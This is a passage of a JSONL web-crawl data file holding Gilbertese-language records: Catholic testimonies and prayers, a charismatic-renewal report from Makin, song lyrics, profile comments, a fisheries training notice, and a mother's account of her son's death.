+{"text":"Inanon maiu aio ao kakaean Iesu inanon maiu ai bon aron kakaean te mam. Te mam anne ngkana e reke iroum ao ko na bon kaonnrakeaki iai bwa ko kona n ni moi iai ao e a bon kona n riki bwa kanga ai aron am koburake n ran ae ti ngaia maium taainako. E kona ni kaitiakiko man barekan aonteaba ao man kona ni katokii riki kainanom aika a bati.\nI bon ikawai rake n te reireiaki te tataro ao taekan IESU inanon uarerekeu mai irouia ara karo, n au tabo n reirei ni kuura, ao are I taku bwa I ata IESU ma ngaia bon tiaki raoi ngaia anne ao e a bon rotai te TAKA iai. I a tibwa ataia raoi bwa ngaia I ata IESU ma I a tia n aki kina raoi. I a kukurei n tibwaia ma ngkami tariu ma maneu bwa e rangi ni kaokoro ae ko ata IESU ao ae ko bon kina raoi. E matoatoa ma ngkana e reke iroum ao ai aron reken te koburake n ran ke te mam iroura ngaira I Kiribati ni maiura, ae tatauraoi irarikim n taai nako.\nAritita Tekaieti, St. Padre Pio, Suva, Okitoba, 2009\nAna Tangira Te Uea\nKakaeakin Iesu Inanon Maiura\n- Details\n- Written by Administrator\n-","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/kccrs.org.ki\/ana-tangira-te-uea\/36-kakaeakin-iesu-inanon-maiura","date":"2020-10-26T18:58:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107891624.95\/warc\/CC-MAIN-20201026175019-20201026205019-00362.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":211,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.365,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Imwin ana bowi te NSC ao te Komete n reitaki n te bong ae te Kaabong 13 Meei 2010, ao e a maroroakinanki kanoan te katauraoi ibukin te toa Bentekota. Teuana mai buakon kanoan aia bowii bon rinanoakin kanoan aia reta ni bubuti kain Makin ibukin kawaran naba aia abamakoro imain te Bentekota. E raba te Uea ba e karaoa nanona ao e na mananga temanna man te NSC n nako Makin.\nI kitana Tarawa n te Katenibong 19th Meei 2010. Ngke I roko i Makin ao akea ae tei imaaiu n te marae ma e raba te Uea ba e a buokai te mataniwii ni Katekiti ae Mataroo ba e roko n te marae n te tai anne ba e na butimaea ana bai te Tina Teitirua mai Tarawa. E a kairai ngkanne nakon te o ni Katorika ae St Mikaere Parish. N rokou n ana auti te Tama ao ngaia a bon kaman kabane kain te karetimatiki n ana maneaba te Tama irabong imain rokou ni kakatauraoi imain rokon te Bentekota. E raba te Uea ba I a roko naba n aki iruaa ba I a raoniia naba n aia katauraoi. E wawakinaki kanoan te rei ibukin te Tutia n aron te taramo, uaboki, uakarea ao bon anene n tutia aika a riai ni kamateaki.\nN te Kanimabong 20th Meei n te aoa 7pm ao e a bon kaukaki iai ana rereua te charismatic mani kaukaki naba iroun te Tama Michael n te tutia. Imwina ao a reitaki kain te charismatic n te maneaba ni maroroakina kanoan aia kaetieti ibukin te tantani ma te Eukari ni moanaki imwin te Tutia ao e kaokaki te Eukari n te nukanibong. N te Kaonobong ngkanne e nebonebo te aba n te aoa 5am. Ti a manga tutia n te aoa 7am ao imwina ai te reirei are moanaki man te aoa 9am ao ai bon te tiku irouna te aomata ni mamaroro ma ana Uea n irianaki ma te aki mamatam. E karaoaki te Baunnanoanga n te aoa 3pm, ao te kawaini kaibangaki n te aoa 5pm ao ti a manga reirei iroun te Tama Michael n te aoa 7pm. E a manga kaotinakoaki naba te Eukari imwin te reirei ao n tantanii te koraki ni karokoa ae e a manga kaokaki naba n 12 n te nukanibong. N te Tabati are bon toan iai ruon te Tamnei ae Raoiroi ao e bon boo te Tutia 10am ni kairaki irouia kain te charismatic. Imwin te Tutia ao ti a kanakoaki iroun Fr. Michael n tibaa ana raoi ma ana tangira Iesu nakoia kain Makin ni kabane aika katorika iaani mwengaia. Ti a tibatibaira ni kaka 2 ao 3 ao ti a buti naba ni karaoa tabera ri an auti. Inanon butira anne ao ti nooria ba a rawata ake a anga araia natiia ibukin babetitoaia ao e rawata naba ake a tangira te takaramentu ni mare. E raba te Uea ba a manga rawata riki tarira ao manera aika a manga kaina ara botaki ni charismatic.\nE a toki ikai ara mwakuri ma tia manga karoko iaon Kiebu n te bong are imwina Moanibong 23\/05\/10 ike ti bon karaoa naba aekan are n te Tabati. Ti bon tibatibaaki naba nakon kaka 2-3 ao ni kawarii mweenga ni uota ana raoi ma ana tangira ara Uea are ti bane n toro irouna inanon maeura. E rabwa te Uea e bon koro naba nanon anne. A rawata naba aika a manga uki nanoia nakon te Uea ao ni manga tangiria ni waaki inanon aia maeu ae onraken te maeu. Bon iai nooran te maeu ao te marurung irouia kain Makin ao I kakoaua ba e rangi ni maeu reirei te karea n tangira irouiia. E raba te Uea.\nN te Kauabong are ai bon au kaitira ni bong irarikia ao ti a karaoa te rinerine ibukin manga kabouan te taibora iaon Makin n aron are kakaraoaki. Ngke e a tia mwiin te rinerine are bon karaoaki imwin te nebonebo are boo n te aoa 5am ni karangaina ao a reke ngkanne kain te taibora ae boou n aron aikai ba te tiibiriita bon Aritiera, kauoman Nei Mariina Tiim, Tia Koroboki, Nei Areau ao te Tia Mane ngkanne Nei Maria Batiku. Tiaki maninga naba taekan aia chaplain kain te charismatic ae Katekiti Beteroo. E ngae ngke bon iai aia chaplain kain te charismatic ae a rereitaki ma ngaia n aia bobotaki ao a rangi n raba naba aia ibuobuoki ma aia boutoka te mataniwi ni katekiti ae Mataroo ao raona ni katekiti aika Kakiakia, Nakia, Beiaun, Tabera ao Motee ba ti noora aroia ni karokaro ae rangin kororaoi nakoia aia nanai iaon Makin. E raba te Uea.\nNi kabanean au bowi ma kain te taibora ae boou n reitaki ma aia chaplain ao e oti nanoia ae a nang kateimatoa kanakoan aia ribooti rongorongon aia waaki mai Makin nakon te NSC Tarawa ba e a aonga n teimatoa te reitaki ao n ataki teimatoan te maeu irouia. Irarikin anne ao a bon bubuti naba ngkana e kona ni karekea ana buraeki (flag) te NSC ae te Tamnei ae Raoiroi ike e na kona iai ni kabutaki ke ni karaunaki iaon abamakoro aika iai ke ni maeu iai te charismatic. N aron aio:- Ngkana ngkoe te abamakoro ae ko rangi n kakaonimaki ni kakanakoa am ribooti ke rongorongon maeun am charismatic nako Tarawa nakon te NSC, Teaoraereke ao ngkana e noraki ba e rangin maiti ana ribooti teuana te abamakoro iaoia raona n aron Makin ba ngkana ngaia ae e bati riki n roroko ana ribooti ao ngaia ngkanne ae e na kanakoaki nakoina ana buraeki te charismatic ba e na katioa iaon ana abamwakoro (anne te katoto).\nNgaia aio kanoan ana bubuti Makin are ngkana e na kona naba n rinanona te NSC ma aia Tama aika Fr Michael ao Fr. Koru ao e raba te Uea ba ngaia bon nanona.\nE raba te Uea Alleluia.\nKantarawa Uriam Yeeting, Bikenibeu, Turai, 2010","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/kccrs.org.ki\/nsc\/rongorongo-ao-ribooti\/42-ruon-te-tamnei-ae-raoiroi-iaon-makin","date":"2020-10-26T17:57:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107891624.95\/warc\/CC-MAIN-20201026175019-20201026205019-00327.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":989,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.219,"stopwords_ratio":0.39,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Aio bwanaan nanou (E aki kauaroro te tangira)\nAio bwanaan nanou\nAre I a tabekia ma nanou ae e itiaki\nTe bwai ae e a riki nakoiu are karawawata au iango\nE taku te taeka teuana, \" E aki kauroro neiko te tangira\"\nMa ngaia I a kunea bwa, e bon kauaroro ma ni bibitaki\nTao e koaua e a roko irou te kara\nMa au tangira e bon tiku n arona\nNna iranna ngai bwa e a moti ngai nanou\nBwa ko na kitanai bwa e a rai baeu\nKo a katukai ma nanou ae e bon tang\nMa I kukurei bwa e a rau nanou ni boin ueen te kai te raureriki*\nTai aika bwakanako a kakamwakuri te bong ma tengaina\nIai taai n kakakukurei ao iai naba taai naba ni kananokawaki\nE taku te taeka teuana, \"E bon tau te bong ma kanoana\"\nMa ngaia I a kunea bwa, e bon bibitaki kanoan boong!","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/www.kirilyrics.com\/single-post\/2017\/10\/12\/aio-bwanaan-nanou-e-aki-kauaroro-te-tangira","date":"2020-10-24T23:58:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107885059.50\/warc\/CC-MAIN-20201024223210-20201025013210-00491.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":156,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.462,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"N te Tabati are n te Bakate are te Mangauti ao I a kaea naba te tutia ma e reke au iango ba ti nang riai ni bita nnera inanon te umantabu. Ti aki toki ni memena ni maninganingan te umantabu are mai maeao ao n te tai aei I a tuangiia natiu ba ti nang nako ni kaitara raoi te Tama. Ngke e a roko te tai are e a tabeka iai te bane te Tama ao I a tuanga natiu ba e na tataro ao man tara te bane are e a tabekaki rake. Ma ai bon kamimira ngke I a nora ngai Iesu i nanon te bane are tabekakirake! I taku ba e bure au taratara ngaia are I a bon katurua taraana. Kai I bon koaua n au tamnei are I noria ae bon Iesu ae I noria inanon te bane. Tamnein Iesu, I noria ba E tei man katea baina te atai ma te raneanea ae e a bon rangi n riao ao akea n aiarona. Bon iai irou te un teutana ba e aera ngkai Kaman I bon rangi ni kan taekinna nakoia tabeman ma I makina tuangakiia kain au auti ba mwiina a ngareakinai.\nN reitakiu ma Taarai n te ingabong aei ao e ienikuri teutana ba a bati taan kawaria. E tuangai: e bon un irouna ba e aera e aki kaman tetekateka n ninnena arei are e kaitara raoi te Tama ao te baonikarea. Ngkai ai nneu anne ni katoa Tabati.\nNei Tarai Brechtefeld, Suva, Turai, 2010","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/kccrs.org.ki\/ana-tangira-te-uea\/40-i-noora-iesu-n-te-bane","date":"2020-10-26T19:18:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107891624.95\/warc\/CC-MAIN-20201026175019-20201026205019-00456.warc.gz","language":"gil","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.000009298324585}","num_words":255,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.416,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tairiki te Tabati (Totin Abemama)\nTao n te aoa tebwina ea toki Bwanani Kiribati\nAo e nakonako ma te teinimwane I nanon te kawai ae rababa Ao e a tia ni bung namwakaina\nAo e a rangi n rotongitong Mwaru\nCho:\nE kamimi are bon raou e a maan te tataneiai I kina buran aingana i buakon te manguroro Ko ti kangai bon te mainaina e a riki neiei bwa te toti Ni kaotai arona ni bane bwa e ataia Baretoa ma I tuai\nN na keiakina tibwangan te tangira ma te nano rinako ao te ano n Aro\nAi kaawara katein Abemama ma rikiaia te mamatauninga\nE na buti raoi mwanangam n te kawai Ma te kabwarabure ae moan te bati An tai mamataua irou Be kakaawaki te neneweaba","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/www.kirilyrics.com\/single-post\/2016\/05\/20\/tairiki-te-tabati-totin-abemama","date":"2020-10-28T13:32:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107898577.79\/warc\/CC-MAIN-20201028132718-20201028162718-00484.warc.gz","language":"gil","language_score":1.0000094175,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000094175338745}","num_words":130,"character_repetition_ratio":0.009,"word_repetition_ratio":0.0,"special_characters_ratio":0.206,"stopwords_ratio":0.438,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mauri Venina\nKo uara? Tera ngkai ae ko karaoia? Ko rerei ke ko makuri? Ngaira ikai ti bon bane ni marurung ao tao te kantaninga ba kam bon bane naba ni marurung. Tao tera ae ko karaoia, keiaki maka bae aonga reke te maiu ae raoiroi n tai rimwi. Angania Ruru ma Taake, Kiakia, Rewi ara kamauri ao ara katekeraoi mai ikai ao tia bo moa.\nUncle Atabi\nKoa taioka naba nikaota aran am tabo ao kai nia ngkoe ba tina iagoia raoi ba kona ba ni bann man te website aio........ke ti na report nakoia bureitiman ba aki kariaiakaki tan criminal ba ana comment.....","id":"","dump":"CC-MAIN-2020-45","url":"http:\/\/banabanvoice.ning.com\/profiles\/profile\/show?id=VeninaTebaruruBaoa","date":"2020-10-28T08:25:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107897022.61\/warc\/CC-MAIN-20201028073614-20201028103614-00383.warc.gz","language":"gil","language_score":0.9999921322,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 0.9999921321868896}","num_words":105,"character_repetition_ratio":0.037,"word_repetition_ratio":0.0,"special_characters_ratio":0.229,"stopwords_ratio":0.19,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E a tia ni waaki ao n roko n tokina te reirei iaon aanga riki tabeua ni kawakinan ao kateimatoaan irikon te te ika ake ana kona ni kabonganaki bwa te reita ni maiu ibukin te botanaomata ao e na bon reke naba bwa te anga teuana ni kareke tianti man kabonakoaia. Aio are bon kanoan ana program te Botaki n Akawa i Tanaea iaon ana karikirike ae te Fisheries Response to COVID 19 ibukin kaungan te akawa irarikin boera ake a kabwakaki ao man kareke mwane man konaia ake a kabonakoaki aika boou ao aika a value added products n ai aron te tuna turkey, fish sausage, tinned and bottled tuna meat, smoked tuna steak ao tabeua riki ni irianaki ma reirei naba ibukin tuan te mauri inanon te tai ni karao ika. E waakinaki te reirei aio man 22 nakon 26 Tuun n ana board room CPPL i Bairiki ni kaainaki iroia kometen tararuan te boera ni kauu ika (FAD committee), CPPL, Buariki women ao ai bon fisheries staff mai Tanaea. Aio are e a bon kairaki iroun Mike Savins, team leader ibukin te karikirake ae ataaki n arana ae te Small Scale Tuna Fisheries Project are mwanenaki man FAO ao te Tautaeka n Tiaban.","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/www.mfmrd.gov.ki\/fisheries-response-to-covid-19\/","date":"2020-10-30T16:38:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107911027.72\/warc\/CC-MAIN-20201030153002-20201030183002-00460.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":204,"character_repetition_ratio":0.02,"word_repetition_ratio":0.0,"special_characters_ratio":0.205,"stopwords_ratio":0.333,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Love me baby\nMoan noran te uee aio irou I kunea ao I anaia bwa raou Nna anaia bwa toau n au kainga Bwa I bwaka n tein anuana Aio ana mamata nanou Mai iroun Tamau are i karawa E anganai bwa toronibwaiu Ao kukureiu n au bong koraki\nCho: Love me love me baby Bwa i tangiriko ngai Love me love me baby Bon ueen nanou ao tokin takau ngkoe Love me love me baby Bwa I tangiriko ngai Love me love me baby Bon kukureiu ao kabwain nanou ngkoe\nAron tekatekau ma neiei Ti te mwengaraoi inanon ara kainga Au bwai i ataia I mwaneaki n te tangira Te akoi n akea n ai arona Bwa ngaia aron raitin ni bwaeao Ana mwamwanano neiei nakoiu Ti a mamauri mai iroun Atuara, inanon tekatekara\nBridge:\nWohoo..e teretere n au tangira my baby Bwa ko aki nanokokoraki my baby Ko nooria n au rinerine baby Bwa I rineiko bwa au mwamwa ngkoe my baby I katerea ni bwanau man te wedding day I angitia mai inanou, \"I say I do\" My baby girl, oh my baby girl","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/www.kirilyrics.com\/single-post\/2016\/05\/03\/love-me-baby","date":"2020-10-24T22:37:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107885059.50\/warc\/CC-MAIN-20201024223210-20201025013210-00360.warc.gz","language":"gil","language_score":0.9998985529,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 0.9998985528945923}","num_words":187,"character_repetition_ratio":0.098,"word_repetition_ratio":0.067,"special_characters_ratio":0.212,"stopwords_ratio":0.273,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"St Padre Pio, ti nakoim ma ara tataro ni kaota tangiram ma karineam iroura ao onimakinan am buoka ma aron tatangiram iroun te Atua.\nInanon taian ikoaki ake E a tia n anganiko te Atua ba e na kaotaki ao ni kamoamoaki iai Marakin Iesu aika moan te Tabu iaon te Kaibangaki, buokira ni karekea iroura te rairannano ni koaua ba ti aonga n aki manga kammaraka Atiniban Iesu n ara bure, ma ti na kateimatoa boiararan te maiu ae tabu n ai arom.\nTataro ibukira ba ti na tauraoi ni katotongko n irira Iesu ao ni butimaai taian maraki ma ikoaki inanoni maiura n te aro ba ti na kona iai ni karokoa Ana Nanoanga, Ana Tangira, ma Ana Kamaiu Atiniban Iesu ae Moan te Tabu nakoia aomata nako.\nSt Padre Pio, ae boni ngkoe te tia kawakinira, buokira ba ti na kona ni katotonga maium ae tabu ni maiura, ao tataro ibukira ba ti na kakaonimaki ni karikirakei ao ni kabonganai ana karea te Tamnei ae Raoiroi ake ti tia ni muiokoaki iai ibukin neboan te Uea ao katongan karawa ikai i aonteaba. Amen.","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/tataro\/tataro-aika-uarereke\/13-tataro-nakon-st-padre-pio","date":"2020-10-25T08:21:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107888402.81\/warc\/CC-MAIN-20201025070924-20201025100924-00498.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":186,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.203,"stopwords_ratio":0.392,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Aunty! mauri i nang tabetabe nte makuri, ia tiba oki naba mai Kiribati ibukin naba te makuri. Bon te kamauri nakoimi mai irouia kain ara auti aika maiti kaina bon natin Nei Baterea a bon mena irou kakaean naba te makuri ibukin maiu. Bon te kamauri naba mai tibum Nei Molyn ao Mere koa manga reitia mai ikanne tibo moa and God Blees love\nhowz you guys fun day yesterday or what U call family reunion heheheh..lol...I chat wid Meli a couple of hrs ago said enjoyable ....anyway just to intoutch... hope everything fine like family here in Fiji..no news jus a loloma to every1\nMauri aunty!\nEng, e bati n rabwa te kaitibo i Woodland. You have a nice family...a nang ibuobuoki natim ni kabane. Tawana is very lucky to have you close by. You did an awesome job cooking and getting everything ready. Eng e kamaeu te bobotaki...e kananokawaki te maenako. ;-)\nNgaia tia manga ongora mai iroumi bwa ningai te next botaki. :-)\nTekeraoi ngke ma am utu!\nLove,\nAaue","id":"","dump":"CC-MAIN-2020-45","url":"http:\/\/banabanvoice.ning.com\/profile\/MarewenitiSingh","date":"2020-10-21T10:00:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107876307.21\/warc\/CC-MAIN-20201021093214-20201021123214-00094.warc.gz","language":"gil","language_score":0.969904542,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"gil_Latn_score\": 0.9699045419692993}","num_words":171,"character_repetition_ratio":0.047,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.129,"flagged_words_ratio":0.0,"lang_id_score":0.95,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Natiu aio e rangi n marurung rabatana, ti tebo ma akea ana kanganga ao tarana bon raoiroi naba inanon uarerekena. Ti rangi ni maan n te onaoraki tao te namakaina tabun, ao ti a manga otinako, ao ti a manga riin ba e a manga roko naba, bon ti uoua riinra are kabaneana ao e katikitiki ao e mate iterana are te angatai. N aron ana taeka ana taokita ao e taku ba e nanououa ba e na kona n reke maeun iterana are mate ke e na aki ba are bon te buroo ngaia, ma te bai ae e riki e a manga maeu naba. Inanon au tai ma ngaia n te oo ao ngai e rangi n kananokawaki te aonnaba aio irou, akea noran tamaroan te bong teuana ma teuana, ba I rangi n rawawata n te bong ae koraki ibukin noran marakina, kainnanona ao korakaina ao tangina n te aoa ae koraki inanon te maan ae kan uoua te namakaina. Ao kainanou n iangoa ae ai maitira aomata ao e a reke naba natiu ae bati ana kanganga. Kainnabau e rangi n rarawata naba ma tiaki ai arou ae I bon nora aron rawawatan natiu aio (raou n te oo). Ngkanne e a reke ae e a marurung ao ti a otinako ao ti kantaningaaki ba ti na oki ngkana e roko te tiim n buroo ba e na noraki. Ngke e a roko te tiim ao e nang bon koreaki ao a manga bon taua taokita n kabanea riki aia iango iai ao n tokina a karautaeka nakoira ba aikoa kona n koreia ba are e bon rangi ni kanganga\/complicated ana case ao e raoiroi riki ae reke riki ara tai ma ngaia nakon ae ngkana e koreaki ao e a toki naba ikanne ngkana e aki nakoraoi mwin te korokoro. A taekinna ba e na aki koro tebwina ana ririki ni maeu. I aki kona n maninga aia taeka ae kangai \"take him and enjoy him until the day he will leave\" e rangi n matoatoa te rongorongo aio irou ma kainnabau ao e rangi ni kamaraki…..ngaia n are ti a karaoa aron ara kabanea n tamaroa ibukin kakukureiana ao nanoangaeana ae moan te korakora…ao ngkanne man te tai anne ao e a bon titiku naba n au iango ae n te taina ao e na bua natiu aio ao ikanne are I a moana naba anuau ae I rangi n kakabanea au iango n te botaki ae te mate ke noran aia kanganga aomata aika a rawawata ibukin aia aoraki.\nTe bai ae riki I rangi n kakabanea au iango irouia ana utu te mate (ngkana iai ae mate), I taraia ao e kanga aron tangiia ao tera ae a karaoia inanon te tai anne. I tabe n kakamatebaia aron te mate riki ana koraki te mate are e rangi n kaan mangaia n aron tinan te mate ke buun te mate, taman te mate, kanga te aekaki anne. E ngae ngkana tiaki te botaki ae I noria iai ao te tamnei (pictures\/photos) I karauai n tara raoi te aomata are ngaia are e nang rotaki ba e kanga teina ao arona n tang. E roko irou are kangai, e kona n kakamakuri ke n taetae, ke e kona n manga move on I mwin ana kanganga aio? Aekaki n titiraki aika a rio ibukin naba tao katauraoau imain te tai ae Nna manga roko naba iai. I bon biririmoa n taraai nte tai arei.\nAra kauoua n okira te aba ae Biti ni moan 2008 ao Barry ai ruaiwa ana ririki ni maeu, e a manga roko naba aorakina n July ae te maraki n atu ao e a rangi n korakora ao tiaki toki n rin te oo n aoraki, e aki reke buokana ao tia kaotinakoaki n kabanean rinna bwa e aki reke buokana. Moan te kananokawaki ao ni kamaraki ba ti a anganaki te taeka ae kangai \"kam a riai n kakaraure ma ngaia bwa e nang nako tao inanon tabeua te aoa ke te bong\"……ti kaotinakoaki n 5 September 2008 ao Barry e a aki kammakuri (comatose stage) ai te matu irouna n aki namakinaba. N te moanibong n 29 th September 2008 (Aia Feast Day tenan Archangels Kabairiera, Rabaere ao Mikaere), tao nakon te aoa nimaua n te karangaina ti a uti ba ti a nakon Barry ba e a katitika baina ao e ngirangira (korakai). Ti karuoa man te kainiwene are wewene iai ba ti na riringa ngai ma kainabau, ti kawenea I nukara ao ti tekateka i rarikina, ngai n iterana ao raou arei n iterana are teuana, ba ti a tabe n iangoa arona. Inanon kumekumeana ao ea toki naba ikena iai…inanon baira.\nI rangi n rawa ke tao I nano maroa n nora tokin ikena, e reke irou are I a ti kan kaongoaki naba, ma ngaia tao e bon tangiria ao bon nanon natira aio ba ngai ma tamana ti na bon nora nakona…\nI a baraki n tang ma te kamimi ba I tang ao I aki maraki (ti tabo I karioa tangiu – te moment are I a kaman iaiangoia ba tera arou iai), a roko tangaia ma Uriam ma Atuna n raonira nte aoa anne ao n karaua nanora ao ti tataro ma ai te kamimi bwa I a bon tang n akea au namakin ni kainnano. Ngke e toki tangiu anne ao ai anne naba tangiu (ake n nikirana e a ti ranran naba matau) ni karokoa te tai are ti a nako Tarawa n kawenea rabatana, n te kaabong. Ngkanne e a bon bua tangiu ao I a manga bon kakaea tangiu ke tao I a mimi ba tera ae e a riki irou. Ngkanne ngke ti nang roko i Tarawa man te wanikiba ao I a manga taku ai manga te nanokawaki ngkai ngkana ti kaitibo - e tei nangina. Te kamimi ngke ti kaitibo ma ara koraki n te marae ao ni karokoa rokora nte auti ao bon akea naba te kan tang irou (n aron iangoana irou are tao Nna iakiaki ke n tatakarua). I manga bon taku tao I a babakaine ba e aera nkai I aki tang. E taunaki Barry n te Kaonobong 4 n Okitoba, I tei i etana ao e wanako ranin matau ba e a bon kitaniira raoi. Ngkanne bon te rangi n mimi ngai, ngkanne inanon tikura i Tarawa n taninga kibara n oki nako Biti, ba ngkana I matu n ara auti ao I aki toki n uti nte karangaina koraki bwa I kan noria ao I kakaea uringana n aron kunana ke ana tunes are e aki toki n aneneia ba I aonga n namakinna ao n uringa iai ma e a bon rangi n kamimi ba I aki naba kona n uringa te tune are e kakaraoia. I kataia n katea ubuna i matau ma e aki kona n tei bon te maninga ngai arona ao ubuna e aki kona n oki uringana. E a reke ba tabeaiangau ao I a share ke tibaia nakon kainabau te bai ae riki ao ngke e kaekai ao bon kaekan raoi au tabeaianga ae kangai, 'ai kabaiara ngkoe ba e rokana am namakin, am ururing ao tangim Te Uea ba E ataia ba ngkoe ae kona bon moan rotaki ba tinana ngkoe'.\nE uki au iango ao I taku 'Ko raba Te Uea ba Ko nora au katauraoi inanon ruaia te ririki imain te tai aio ao ko ataia ba Nna bon rangi n kainnano ngkana e roko te tai aio, ao ko anai rawawatau man buoka marakiu ni kabane n aki katuka teutana ao Ko a manga anganai natiu ae uarereke ba e na toroba nanou ke n kanoa te marena ao te reitaki are I marenau ma natiu are au karimoa ao ti natiu te m'ane'. I aki kona n maninga ana tangira ma ana akoi Te Uea rinanon natiu ae te karea ae boiarara, TEM BARRY!!\nE a riki Barry ba temanna ara SANTO ae e maeu ni koaua irarikira n te onimaki ae ti kekeiaki inanona ni irira nanon te Uea ni baai ni kabane ibukin kakoroan raoi katongan karawa ikai iaon te aba.\nMaryanne Mikaere Namakin, St Padre Pio, Suva, Okitoba, 2009","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/kccrs.org.ki\/ana-tangira-te-uea\/37-e-wewetea-arau-iesu-makoro-2","date":"2020-10-26T18:01:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107891624.95\/warc\/CC-MAIN-20201026175019-20201026205019-00666.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1369,"character_repetition_ratio":0.036,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.402,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E a tia te wa\n1. E a tia te wa e a bobonga raoi A matoa nako bwaina ngkai Ti nang kaieie ni bibiribiri I nanon te nama i Nonouti\nTara aroni butina ngkai Tara aroni birina ngkai Tatanako i aon naona te naomoro Ao ko a kan aki oa mwin\n2. Ti na teirake ngaira I-Nonouti Mani kanenei toka iai Ti na noria bwa butira ngkai E kare matoa angina","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/www.kirilyrics.com\/single-post\/2016\/07\/04\/e-a-tia-te-wa","date":"2020-10-24T23:52:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107885059.50\/warc\/CC-MAIN-20201024223210-20201025013210-00648.warc.gz","language":"gil","language_score":1.0000084639,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 1.000008463859558}","num_words":70,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.371,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Marakei te nama\n1. Abara ae e katobibia Marakei E katobibi i etan te nama Aron te ririanna iai e katobibiaki Ngkana ko rieta ke ko rinano\nMarakei te nama Abara ae e katobibira Marakei Ao namona e raoi e otabwaninia Bon abara ao nnera ni koaua\n2. E kakamaiu te buubuti n te nama Bwa e kareke arona ae kakukurei Bon ti te nano iai ae ti tatangiria e Bon ti te kakaieie ni 